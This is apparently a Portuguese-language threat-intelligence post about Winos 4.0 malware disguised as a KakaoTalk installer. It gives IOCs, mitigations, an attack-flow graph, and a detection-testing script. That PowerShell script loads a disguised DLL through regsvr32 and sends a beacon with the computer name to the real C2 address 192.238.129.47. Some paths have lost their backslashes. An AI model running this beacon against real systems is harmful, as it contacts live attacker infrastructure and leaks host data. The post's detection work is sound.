SOC Prime Bias: Medium

24 Mar 2026 16:03

Malware Winos 4.0 Disfarçado como Instalador do KakaoTalk

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Malware Winos 4.0 Disfarçado como Instalador do KakaoTalk
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Os atacantes abusaram do envenenamento de SEO para empurrar um instalador falso do KakaoTalk para o topo dos resultados de busca. O instalador continha um certificado de assinatura de código inválido e embutido um pacote NSIS que extraía arquivos maliciosos, incluindo Verifier.exe e AutoRecoverDat.dll. Uma vez executado, o malware atingiu persistência através do registro de DLL, tarefas agendadas e um mutex, em seguida, conectou-se a dois servidores C2 separados. Suas capacidades incluíam captura de tela, perfil de sistema e execução em memória de cargas adicionais.

Investigação

O Centro de Inteligência de Segurança da AhnLab relatou mais de 5.000 PCs comprometidos depois que a campanha começou em 9 de março. Análises mostraram que cargas úteis NSIS criptografadas decriptam e descartam Verifier.exe e AutoRecoverDat.dll, criam um mutex e carregam shellcode a partir de arquivos GPUCache.xml. Dependendo do ramo de shellcode, o malware contatava infraestruturas C2 em 192.238.129.47 ou 119.28.70.225. A persistência foi mantida via registro de DLL e tarefas agendadas que lançavam ou Verifier.exe ou rundll32 com a DLL maliciosa.

Mitigação

As organizações devem bloquear os domínios maliciosos e URLs de download associados à campanha. Enforce validação rigorosa de assinatura de código e previna a execução de binários que transportem certificados inválidos. Listas de permissão de aplicativos devem ser usadas para bloquear instaladores NSIS desconhecidos de execução. As equipes de segurança também devem monitorar o mutex específico, tarefas agendadas suspeitas e alterações no registro descritas no relatório.

Resposta

Equipes de detecção devem alertar sobre a criação do mutex 77825d8f-46d1-42d0-b298-83068bf9e31d e tarefas agendadas em MicrosoftWindowsAppID. Procurar por Verifier.exe e AutoRecoverDat.dll dentro dos diretórios de perfil de usuário e bloquear tráfego de saída para os IPs e portas C2 conhecidos. Realizar revisão forense dos sistemas afetados e remover completamente todos os artefatos de persistência e componentes maliciosos.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access["<b>Técnica</b> – T1593.002 Envenenamento de Mecanismo de Busca<br/><b>Descrição</b>: Manipular SEO para classificar sites maliciosos nos resultados de busca."] class tech_initial_access technique tech_user_exec["<b>Técnica</b> – T1204 Execução pelo Usuário<br/><b>Descrição</b>: A vítima executa o instalador malicioso acreditando que seja legítimo."] class tech_user_exec technique tech_obfuscation["<b>Técnica</b> – T1027 Arquivos ou Informações Ofuscados<br/><b>Descrição</b>: Cargas encriptadas no instalador NSIS e decriptadas em tempo de execução."] class tech_obfuscation technique tech_powershell["<b>Técnica</b> – T1059.001 PowerShell<br/><b>Descrição</b>: Executa comandos PowerShell via cmd para modificar configurações do Defender."] class tech_powershell technique tech_exclusions["<b>Técnica</b> – T1564.012 Exclusões de Arquivo/Caminho<br/><b>Descrição</b>: Adiciona entradas de exclusão para C:, D:, E:, F: no Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Técnica</b> – T1218.011 Execução Proxy Rundll32<br/><b>Descrição</b>: Usa rundll32.exe para carregar AutoRecoverDat.dll malicioso."] class tech_rundll32 technique tech_appcert["<b>Técnica</b> – T1546.009 DLLs AppCert<br/><b>Descrição</b>: Registra DLL para execução quando AppCert é carregado, permitindo persistência e escalonamento."] class tech_appcert technique tech_schtask["<b>Técnica</b> – T1053 Tarefa/Job Agendado<br/><b>Descrição</b>: Cria tarefas para lançar Verifier.exe e rundll32 na inicialização do sistema."] class tech_schtask technique tech_c2_nonstd["<b>Técnica</b> – T1571 Porta Não-Standard<br/><b>Descrição</b>: Comunica-se com servidores C2 em portas 18852 e 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Técnica</b> – T1205.001 Port Knocking<br/><b>Descrição</b>: Usa port knocking para esconder tráfego C2."] class tech_port_knocking technique tech_dynamic_res["<b>Técnica</b> – T1568 Resolução Dinâmica<br/><b>Descrição</b>: Resolve endereços C2 em tempo de execução, adaptando-se à presença de produtos AV chineses."] class tech_dynamic_res technique tech_indicator_removal["<b>Técnica</b> – T1027.005 Remoção de Indicadores de Ferramentas<br/><b>Descrição</b>: Verifica por produtos AV específicos e altera persistência de acordo."] class tech_indicator_removal technique tech_software_disc["<b>Técnica</b> – T1518.001 Descoberta de Software<br/><b>Descrição</b>: Coleta lista de softwares instalados para reconhecimento."] class tech_software_disc technique tech_path_intercept["<b>Técnica</b> – T1574.009 Interceptação de Caminho por Caminho Sem Aspas<br/><b>Descrição</b>: Explora caminhos de serviço sem aspas para carregar DLL malicioso."] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer["<b>Arquivo</b>: Instalador NSIS Malicioso (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>Arquivo</b>: Verifier.exe"] class file_verifier malware file_dll["<b>Arquivo</b>: AutoRecoverDat.dll"] class file_dll malware %% Nodes – Commands / Processes proc_powershell["<b>Processo</b>: powershell.exe (adiciona exclusões do Defender)"] class proc_powershell process proc_rundll32["<b>Processo</b>: rundll32.exe (carrega AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Processo</b>: schtasks.exe (cria tarefas agendadas)"] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leva_a| tech_user_exec tech_user_exec –>|executa| file_installer file_installer –>|contém| tech_obfuscation tech_obfuscation –>|decripta| file_verifier tech_obfuscation –>|decripta| file_dll file_installer –>|chama| tech_powershell tech_powershell –>|executa| proc_powershell proc_powershell –>|adiciona| tech_exclusions file_installer –>|usa| tech_rundll32 tech_rundll32 –>|inicia| proc_rundll32 proc_rundll32 –>|carrega| file_dll tech_appcert –>|registra| file_dll tech_appcert –>|habilita| tech_schtask tech_schtask –>|cria| proc_schtask proc_schtask –>|agenda| file_verifier proc_schtask –>|agenda| proc_rundll32 tech_appcert –>|proporciona| tech_path_intercept tech_path_intercept –>|facilita| tech_appcert tech_c2_nonstd –>|usado_por| file_verifier tech_c2_nonstd –>|usado_por| file_dll file_verifier –>|comunica-se via| tech_port_knocking file_dll –>|comunica-se via| tech_port_knocking tech_port_knocking –>|depende_de| tech_dynamic_res tech_dynamic_res –>|detecta| tech_indicator_removal tech_indicator_removal –>|modifica| tech_appcert file_installer –>|coleta| tech_software_disc "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check pré-voo para Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa devem refletir diretamente os TTPs identificados e visar a gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:

    O adversário já colocou DLLs maliciosos dentro da %LOCALAPPDATA%MicrosoftWindowsGPUCache diretório, disfarçando-se como arquivos de cache legítimos. Para executar a carga, o atacante aproveita Regsvr32 (T1218.012) para carregar a DLL, depois usa o componente carregado para iniciar a comunicação C2 via porta TCP 18852 (ou porta HTTPS 443) para o servidor hard-coded 192.238.129.47. Este fluxo de rede é o indicador observável que a regra Sigma monitora.

    1. Carregar DLL maliciosa via Regsvr32
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. Iniciar beacon C2 (a DLL maliciosa abre um soquete TCP para o servidor C2). Para teste, emulamos o beacon com um cliente PowerShell TCP simples que se conecta ao mesmo IP/porta.
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • Script de Teste de Regressão: O script a seguir reproduz as etapas acima de ponta a ponta e gerará a telemetria de rede exata que a regra Sigma espera.

    # -------------------------------------------------
    # Simulação de C2 Winos4.0 – aciona regra Sigma
    # -------------------------------------------------
    # 1. Carregar a DLL maliciosa (simulada) via Regsvr32
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Registrando DLL maliciosa via Regsvr32..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] DLL simulada não encontrada em $dllPath – abortando."
        exit 1
    }
    
    # 2. Emular beacon C2 para o IP/porta hard-coded
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] Estabelecendo conexão TCP com $c2IP:$c2Port ..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] Beacon enviado."
    } catch {
        Write-Error "[-] Falha na conexão: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • Comandos de Limpeza: Remova quaisquer artefatos temporários e feche conexões remanescentes.

    # Remover a DLL maliciosa simulada (se foi um artefato de teste)
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] Limpado DLL simulada."
    }
    
    # Assegure-se de que não restem ouvintes TCP órfãos (improvável apenas no lado do cliente)
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # Nenhuma ação necessária; conexões são fechadas no script.
    }